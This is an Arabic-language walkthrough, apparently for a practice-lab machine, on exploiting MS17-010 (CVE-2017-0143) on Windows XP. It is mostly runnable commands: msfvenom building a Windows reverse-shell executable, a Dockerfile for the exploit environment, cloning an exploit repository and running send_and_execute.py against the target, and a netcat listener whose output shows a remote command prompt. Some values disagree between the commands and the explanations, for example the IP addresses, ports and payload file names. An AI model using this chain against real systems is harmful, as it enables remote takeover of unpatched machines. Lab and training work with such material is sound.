MS17-010

🖥️ -h3x0v3rl0rd- #️⃣ CVE-2017-0143

Docker

استخدام msfvenom لإنشاء حمولة:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe

-p windows/shell_reverse_tcp: يحدد الحمولة (صدفة TCP عكسية لنظام ويندوز).
LHOST=10.10.14.4: عنوان IP للمهاجم (حيث سيتصل الهدف مرة أخرى).
LPORT=443: المنفذ على جهاز المهاجم للاستماع للاتصال.
-f exe: يخرج الحمولة كملف تنفيذي.
-a x86: يحدد البنية (32 بت).
-o rev.exe: يحفظ الحمولة كـ rev.exe.

إعداد حاوية دوكر:

لماذا استخدام دوكر؟
- يوفر دوكر بيئة متسقة ومعزولة لتشغيل الاستغلال.
- يتجنب مشاكل الاعتماد (مثل تعارضات إصدار بايثون، المكتبات المفقودة).

خطوات إعداد دوكر:

sudo apt-get install docker.io

إنشاء هيكل المجلد:

mkdir exploit
cd exploit
touch Dockerfile
echo "impacket==0.9.23" > requirements.txt

Dockerfile: يحتوي على تعليمات لبناء حاوية دوكر.
requirements.txt: يسرد تبعيات بايثون (مثل impacket).

اكتب ملف Dockerfile:

FROM python:2.7-alpine
RUN apk --update --no-cache add \
    git \
    zlib-dev \
    musl-dev \
    libc-dev \
    gcc \
    libffi-dev \
    openssl-dev && \
    rm -rf /var/cache/apk/*

RUN mkdir -p /opt/exploit
COPY requirements.txt /opt/exploit
COPY ms17-010.exe /opt/exploit
WORKDIR /opt/exploit
RUN pip install -r requirements.txt

FROM python:2.7-alpine: يستخدم صورة خفيفة من Alpine Linux مع بايثون 2.7.
RUN apk --update --no-cache add: يقوم بتثبيت التبعيات الضرورية (مثل git, gcc).
COPY rev.exe /opt/cattime: ينسخ الملف التنفيذي للصدفة العكسية (rev.exe) إلى داخل الحاوية.
RUN pip install -r requirements.txt: يقوم بتثبيت تبعيات بايثون (مثل impacket).

بناء حاوية دوكر:

sudo docker build -t exploit .

تشغيل الحاوية:

sudo docker run -it exploit /bin/sh

تحميل وتشغيل الاستغلال:

git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git

cd MS17-010_CVE-2017-0143

python send_and_execute.py 10.10.10.4 ../ms17-010.exe

الصدفة العكسية:

nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.4] 1035
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

الطرق القديمة

الطريقة 1

git clone https://github.com/h3x0v3rl0rd/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143/
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f exe -o ms17-010.exe

إنشاء مستمع nc:

nc -nlvp 1337

استغلال

python2.7 send_and_execute.py 10.129.163.162 ms17-010.exe

في حال حصول خطأ مثل هذا، اتبع هذه الخطوات:

cd MS17-010_CVE-2017-0143/
sudo python2.7 get-pip.py
pip2.7 install --upgrade setuptools
python2.7 -m pip install impacket

الآن يمكننا تشغيل الاستغلال:

الطريقة 2

الآن هذا الاستغلال تم إنشاؤه في بايثون 2 ويتطلب بعض المكتبات مثل impacket و pycrypto. لذلك يجب إعداد بيئة افتراضية وهنا يساعد برنامج virtualenv. بمجرد إنشاء البيئة، يمكنك تنشيطها باستخدام برنامج source. هنا يتم استخدام بايثون 2 كمفسر لأنه في أحدث إصدار من Kali يتم تعيين بايثون 3 كمفسر عام واستغلالنا مكتوب ببايثون 2.

لماذا نستخدم البيئة الافتراضية؟ لهذا يمكنك الاطلاع على هذا: https://www.dabapps.com/blog/introduction-to-pip-and-virtualenv-python/

virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
pip install pycrypto

python checker.py 10.10.10.4

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe > shell.exe

python send_and_execute.py 10.10.10.4 shell.exe 445 browser

nc -nlvp 4445

MS17-010_CVE-2017-0143